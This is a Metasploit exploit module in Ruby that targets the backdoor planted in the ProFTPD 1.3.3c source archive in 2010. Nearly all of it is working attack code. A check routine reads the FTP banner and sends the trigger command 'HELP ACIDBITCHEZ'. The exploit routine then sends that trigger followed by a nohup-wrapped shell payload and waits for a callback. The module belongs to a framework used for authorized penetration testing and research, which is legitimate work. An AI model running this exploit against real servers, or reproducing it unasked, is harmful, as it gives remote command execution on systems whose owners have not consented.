ProFTPD 1.3.3c Backdoor Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Ftp
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ProFTPD 1.3.3c Backdoor Command Execution',
        'Description' => %q{
          This module exploits a malicious backdoor that was added to the
          ProFTPD download archive. This backdoor was present in the proftpd-1.3.3c.tar.[bz2|gz]
          archive between November 28th 2010 and 2nd December 2010.
        },
        'Author' => [
          'MC',
          'darkharper2',
          'g0tmi1k' # @g0tmi1k - additional features
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2010-20103' ],
          [ 'OSVDB', '69562'],
          [ 'BID', '45150' ]
        ],
        'Privileged' => true,
        'Platform' => [ 'unix', 'linux' ],
        'Arch' => ARCH_CMD,
        'Payload' => {
          'Space' => 2000,
          'BadChars' => '',
          'DisableNops' => true
        },
        'Targets' => [
          [
            'Linux/Unix Command',
            {
              'Type' => :unix_cmd
            }
          ]
        ],
        'DisclosureDate' => '2010-12-02',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    deregister_options('FTPUSER', 'FTPPASS')
  end

  def check
    connect

    return CheckCode::Unknown('No FTP banner received') unless banner

    vprint_status("FTP Banner: #{banner_version}")

    return CheckCode::Safe("Target does not appear to be running ProFTPD (banner: #{banner_version})") unless banner_version.include?('ProFTPD')
    return CheckCode::Safe("ProFTPD version is not 1.3.3c (banner: #{banner_version})") unless banner_version.include?('1.3.3c')

    print_status('ProFTPD 1.3.3c detected, testing for backdoor command...')
    sock.put("HELP ACIDBITCHEZ\r\n")
    res = sock.get_once(-1, 10)

    return CheckCode::Appears('No response to backdoor command, so server may have dropped into shell mode') if res.blank?
    return CheckCode::Safe("Backdoor command not present (server returned: #{res.to_s.strip})") if res&.match?(/^5/)

    CheckCode::Unknown("Unexpected behaviour/unknown response (timeout or connection dropped?): #{res.to_s.strip})")
  rescue ::Rex::ConnectionError, ::IOError => e
    CheckCode::Unknown("Connection failed: #{e.message}")
  ensure
    disconnect
  end

  def exploit
    connect
    vprint_status("FTP Banner: #{banner_version}") if banner

    print_status('Sending FTP command to trigger backdoor')
    sock.put("HELP ACIDBITCHEZ\r\n")
    res = sock.get_once(-1, 10)

    fail_with(Failure::NoAccess, "No backdoor (#{res.to_s.strip})") if res =~ /^5/

    unless payload.encoded.empty?
      c = 'nohup '
      c << payload.encoded
      c << " >/dev/null 2>&1\n"
      vprint_status("Running: #{c.strip}")
      sock.put(c)
      print_status('Payload sent - awaiting callback')
    end

    report_vuln(
      host: rhost,
      port: rport,
      proto: 'tcp',
      sname: 'ftp',
      name: name,
      info: 'HELP ACIDBITCHEZ backdoor triggered',
      refs: references
    )
  ensure
    disconnect
  end
end